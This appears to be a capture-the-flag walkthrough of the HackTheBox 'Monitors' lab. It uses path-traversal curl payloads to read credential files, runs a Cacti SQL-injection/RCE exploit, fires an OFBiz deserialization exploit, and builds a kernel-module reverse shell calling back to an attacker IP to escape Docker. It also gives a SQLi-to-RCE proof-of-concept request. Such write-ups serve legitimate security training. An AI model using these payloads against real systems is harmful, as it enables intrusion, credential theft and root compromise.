Overview
Monitors is defined as a hard-difficulty box: a lot of enumeration, 3 real-world CVE`s and docker container privilege escalation at the end.
Notes
- Sometimes information from public exploits is not 100% correct
- WordPress scanner:
wpscan --url http://monitors.htb/
- Dynamic port forwarding with SSH:
ssh -D 9050 marcus@monitors.htb -f -N
- SYS_MODULE capability allows inserting arbitrary modules into the kernel and since the kernel is shared that leads to privilege escalation
Enumeration
Nmap scan
Starting from a standard Nmap scan with basic flags:
- -v for Verbose mode
- -T4 for faster execution (prohibits the dynamic scan delay from exceeding 10 ms for TCP ports)
- -p- to scan all TCP ports
- -n to do not ping the host (assume the host is alive)
- -sV to do a service scan and get some additional information about the service
- -sC to run default Nmap enumeration scripts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
└─$ nmap -v -Pn -n -T4 -p- -sV -sC monitors.htb
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ba:cc:cd:81:fc:91:55:f3:f6:a9:1f:4e:e8:be:e5:2e (RSA)
| 256 69:43:37:6a:18:09:f5:e7:7a:67:b8:18:11:ea:d7:65 (ECDSA)
|_ 256 5d:5e:3f:67:ef:7d:76:23:15:11:4b:53:f8:41:3a:94 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: WordPress 5.5.1
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Welcome to Monitor – Taking hardware monitoring seriously
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap reveals 2 services: SSH on port 22 and Apache on port 80 running WordPress.
Foothold
We can use the most popular WordPress security scanner tool - WPScan:
1
wpscan --url http://monitors.htb/
wpscan reveals that wp-with-spritz plugin is installed. Let’s check for public available exploits:
1
2
3
4
5
6
7
$ searchsploit 'spritz'
------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------ ---------------------------------
WordPress Plugin WP with Spritz 1.0 - Remote Fi | php/webapps/44544.php
------------------------------------------------ ---------------------------------
Googling for wp-with-spritz returns the same results. There is an exploit only for version 1.0, but the current version is 4.2.4. At the same time, I didn’t find ANY data related to 4.2.4 version. So, sometimes it means there is no other versions at all, and information in the CVE is not correct. Let’s try to check the POC (https://www.exploit-db.com/exploits/44544).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
curl --path-as-is http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
marcus:x:1000:1000:Marcus Haynes:/home/marcus:/bin/bash
Debian-snmp:x:112:115::/var/lib/snmp:/bin/false
mysql:x:109:114:MySQL Server,,,:/nonexistent:/bin/false
Nice! It’s possible to read arbitrary files. Let’s check the wordpress config:
1
2
3
4
5
6
curl --path-as-is http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=../../../wp-config.php
...
/** MySQL database password */
define( 'DB_PASSWORD', 'BestAdministrator@2020!' );
...
We have a DB password, but it didn’t work for WordPress or SSH. Let’s keep it in memory and continue the enumeration. It makes sense to check the Apache default config:
1
2
3
4
5
6
7
8
curl --path-as-is http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=../../../../../../etc/apache2/sites-available/000-default.conf
# Default virtual host settings
# Add monitors.htb.conf
# Add cacti-admin.monitors.htb.conf
<VirtualHost *:80>
....
2 strings are commented. The last one is the most interesting:
1
2
3
4
5
6
7
8
9
10
11
12
curl --path-as-is http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=../../../../../../etc/apache2/sites-available/cacti-admin.monitors.htb.conf
<VirtualHost *:80>
...
ServerAdmin admin@monitors.htb
ServerName cacti-admin.monitors.htb
DocumentRoot /usr/share/cacti
ServerAlias cacti-admin.monitors.htb
...
</VirtualHost>
cacti-admin.monitors.htb is a new virtual host. Let’s add it to /etc/hosts file and check the resource:
1
sudo bash -c 'echo "10.10.10.238 cacti-admin.monitors.htb" >> /etc/hosts'
It’s cacti 1.2.12. It’s possible to log in using Admin user and the password from the WordPress config: “BestAdministrator@2020!”.
Searching for vulns:
1
2
3
4
5
searchsploit cacti
...
Cacti 1.2.12 - 'filter' SQL Injection / Remote Code Execution | php/webapps/49810.py
...
Looks like the current version is vulnerable to RCE.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
└─$ python3 49810.py -t http://cacti-admin.monitors.htb -u Admin -p 'BestAdministrator@2020!' --lhost 10.10.14.12 --lport 5555
[+] Connecting to the server...
[+] Retrieving CSRF token...
[+] Got CSRF token: sid:c351a094beec11b52facaf77827701b86c76cfc3,1633686220
[+] Trying to log in...
[+] Successfully logged in!
[+] SQL Injection:
"name","hex"
"",""
"admin","$2y$10$TycpbAes3hYvzsbRxUEbc.dTqT0MdgVipJNBYu8b7rUlmB8zn8JwK"
"guest","43e9a4ab75570f5b"
[+] Check your nc listener!
User
We can start from a basic file system enumeration:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ ls -al /home
total 12
drwxr-xr-x 3 root root 4096 Nov 10 2020 .
drwxr-xr-x 24 root root 4096 Jul 23 13:46 ..
drwxr-xr-x 5 marcus marcus 4096 Jan 25 2021 marcus
$ ls -al /home/marcus
total 40
drwxr-xr-x 5 marcus marcus 4096 Jan 25 2021 .
drwxr-xr-x 3 root root 4096 Nov 10 2020 ..
d--x--x--x 2 marcus marcus 4096 Nov 10 2020 .backup
lrwxrwxrwx 1 root root 9 Nov 10 2020 .bash_history -> /dev/null
-rw-r--r-- 1 marcus marcus 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 marcus marcus 3771 Apr 4 2018 .bashrc
drwx------ 2 marcus marcus 4096 Jan 25 2021 .cache
drwx------ 3 marcus marcus 4096 Nov 10 2020 .gnupg
-rw-r--r-- 1 marcus marcus 807 Apr 4 2018 .profile
-r--r----- 1 root marcus 84 Jan 25 2021 note.txt
-r--r----- 1 root marcus 33 Oct 7 16:10 user.txt
There is an interesting .backup directory inside the marcus’s home dir with the privileges “d–x–x–x”. It means, we can read any file inside the directory, but can’t read names. There are 2 possible ways to exploit that: brute force possible file names or try to find any information about the files.
Let’s try to find any files with ‘marcus’ inside:
1
2
3
4
5
6
7
8
9
10
11
12
grep -iR marcus /etc 2>/dev/null
/etc/group-:marcus:x:1000:
/etc/subgid:marcus:165536:65536
/etc/group:marcus:x:1000:
/etc/passwd:marcus:x:1000:1000:Marcus Haynes:/home/marcus:/bin/bash
/etc/systemd/system/cacti-backup.service:ExecStart=/home/marcus/.backup/backup.sh
/etc/subuid:marcus:165536:65536
/etc/passwd-:marcus:x:1000:1000:Marcus Haynes:/home/marcus:/bin/bash
Binary file /etc/alternatives/phar.phar matches
Binary file /etc/alternatives/php matches
Binary file /etc/alternatives/phar matches
Looks like there is a cacti backup service and the filename is backup.sh. Let’s check the content:
1
2
3
4
5
6
7
8
9
10
cat /home/marcus/.backup/backup.sh
#!/bin/bash
backup_name="cacti_backup"
config_pass="VerticalEdge2020"
zip /tmp/${backup_name}.zip /usr/share/cacti/cacti/*
sshpass -p "${config_pass}" scp /tmp/${backup_name} 192.168.1.14:/opt/backup_collection/${backup_name}.zip
rm /tmp/${backup_name}.zip
We have a password for marcus and it’s possible to use SSH to log in:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
└─$ ssh marcus@monitors.htb
marcus@monitors.htb's password:
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-151-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information disabled due to load higher than 2.0
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
128 packages can be updated.
97 of these updates are security updates.
To see these additional updates run: apt list --upgradable
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Fri Oct 8 22:42:50 2021 from 10.10.14.12
marcus@monitors:~$ id
uid=1000(marcus) gid=1000(marcus) groups=1000(marcus)
Root
Basic enumeration of running processes reveals that port 8443 is probably used by apache-ofbiz-17.12.01:
1
2
3
4
5
6
ps -auxw
...
root 2201 0.0 0.0 553112 3956 ? Sl Oct07 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8443 -container-ip 172.17.0.2 -container-port 8443
root 2236 0.0 2.1 3410072 86176 ? Ssl Oct07 1:47 /usr/local/openjdk-8/bin/java -Dorg.gradle.appname=gradlew -classpath /usr/src/apache-ofbiz-17.12.01/gradle/wrapper/gradle-wrapper.jar org.g
...
Accordingly to the official site: “OFBiz is a Java based web framework including an entity engine, a service engine and a widget based UI allowing you to quickly prototype and develop your web application.”. Version 17.12.01 is vulnerable to Remote Command Execution (RCE) via Unsafe Deserialization of XMLRPC arguments. Exploit is publicly accessible: https://www.exploit-db.com/exploits/50178
Since the OFBiz service is accessible only from a localhost we need to proxify traffic somehow. Let’s use dynamic SSH forwarding with flags:
- -D - Specifies a local ‘dynamic’ application-level port forwarding
- -f - Requests ssh to go to background just before command execution
- -N - Do not execute a remote command. This is useful for just forwarding ports
1
└─$ ssh -D 9050 marcus@monitors.htb -f -N
It should create a socks proxy available on port 9050. The proxychains config should be changed in order to use the local proxy.
/etc/proxychains4.conf:
1
2
3
4
5
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks4 127.0.0.1 9050
Let’s make a local copy of the exploit since we need to make some changes inside. We also need to convert line breaks using dos2unix tool:
1
2
3
cp /usr/share/exploitdb/exploits/java/webapps/50178.sh ./
dos2unix 50178.sh
Since we are going to launch the exploit using proxychains tool, it won’t be able to directly download ysoserial tool. So, let’s download it manually:
1
wget -q https://jitpack.io/com/github/frohoff/ysoserial/master-d367e379d9-1/ysoserial-master-d367e379d9-1.jar
We need to open 2 terminals and start:
- a simplified python web server:
sudo python3 -m http.server 80
- a netcat listener:
nc -lvp 8001
Exploitatation:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
└─$ proxychains bash ./50178.sh -i 10.10.14.12 -p 8001
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[*] Creating a shell file with bash
[*] Downloading YsoSerial JAR File
channel 2: open failed: connect failed: Temporary failure in name resolution
[*] Generating a JAR payload
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[*] Sending malicious shell to server...
[*] Generating a second JAR payload
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[*] Executing the payload in the server...
[*]Deleting Files...
We got a reverse shell.
Looks like the app is running inside a docker container. It’s always a good idea to check current capabilities:
1
2
3
root@6aa06c92f984:/tmp# capsh --print
capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+eip
cap_sys_module cap is on which mean we can insert kernel module into host kernel that will spawn a userspace shell (using usermodhelper) to connect back.
Let’s create a basic kernel module:
shell.c:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.12/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
and a Makefile (should be separated by 2 tabs, not spaces):
1
2
3
4
5
6
obj-m +=reverse-shell.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
Now we should copy files to the docker container, compile a module and insert it into the kernel:
1
2
3
4
5
6
7
wget http://10.10.14.12:8000/reverse-shell.c
wget http://10.10.14.12:8000/Makefile
make
#You need to run a listener before the insmod command
insmod reverse-shell.ko
A root shell should appear:
W00t!
Extra mile. Why Spritz WP plugin is vulnerable?
There is code in wp.spritz.content.filter.php script:
1
2
3
4
5
6
<?php
if(isset($_GET['url'])){
$content=file_get_contents($_GET['url']);
...
echo $content;
The file_get_contents() reads a file into a string. Since the url parameter is controlled by user input, it’s possible to read arbitrary files on a server or even make requests to other servers inside the network what leads to SSRF vulnerability.
Extra mile. Why Cacti is vulnerable?
In colors.php line 753 there is code:
1
2
3
4
5
6
if (get_request_var('filter') != '') {
$sql_where = "WHERE (name LIKE '%" . get_request_var('filter') . "%'
OR hex LIKE '%" . get_request_var('filter') . "%')";
} else {
$sql_where = '';
}
The developer used basic string concatination to create a $sql_where value. Since filter parameter is controlled by user input - it allows to modify the request logic that leads to a SQL injection vulnerability.
On line 770 the $sql_where value used to make a sql query:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$colors = db_fetch_assoc("SELECT *,
SUM(CASE WHEN local_graph_id>0 THEN 1 ELSE 0 END) AS graphs,
SUM(CASE WHEN local_graph_id=0 THEN 1 ELSE 0 END) AS templates
FROM (
SELECT c.*, local_graph_id
FROM colors AS c
LEFT JOIN (
SELECT color_id, graph_template_id, local_graph_id
FROM graph_templates_item
WHERE color_id>0
) AS gti
ON c.id=gti.color_id
) AS rs
$sql_where
GROUP BY rs.id
$sql_having");
Additionally, Cacti keeps ‘path_php_binary’ setting in a database to run custom scripts. This leads to Remote Code Execution. Since using stacked queries is allowed, it’s possible to change that value to a custom binary or command.
POC:
1
2
3
GET /cacti/color.php?action=export&header=false&filter=1')+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;update+settings+set+value='touch+/tmp/sqli_from_rce;'+where+name='path_php_binary';--+-
/cacti/host.php?action=reindex
How it could be found during code analysys?
A basic grep returns 97 strings where get_request_var is used in sql queries:
1
grep -rnw ./ -e ".*where.*get_request_var.*" --color|grep -v 'db_qstr'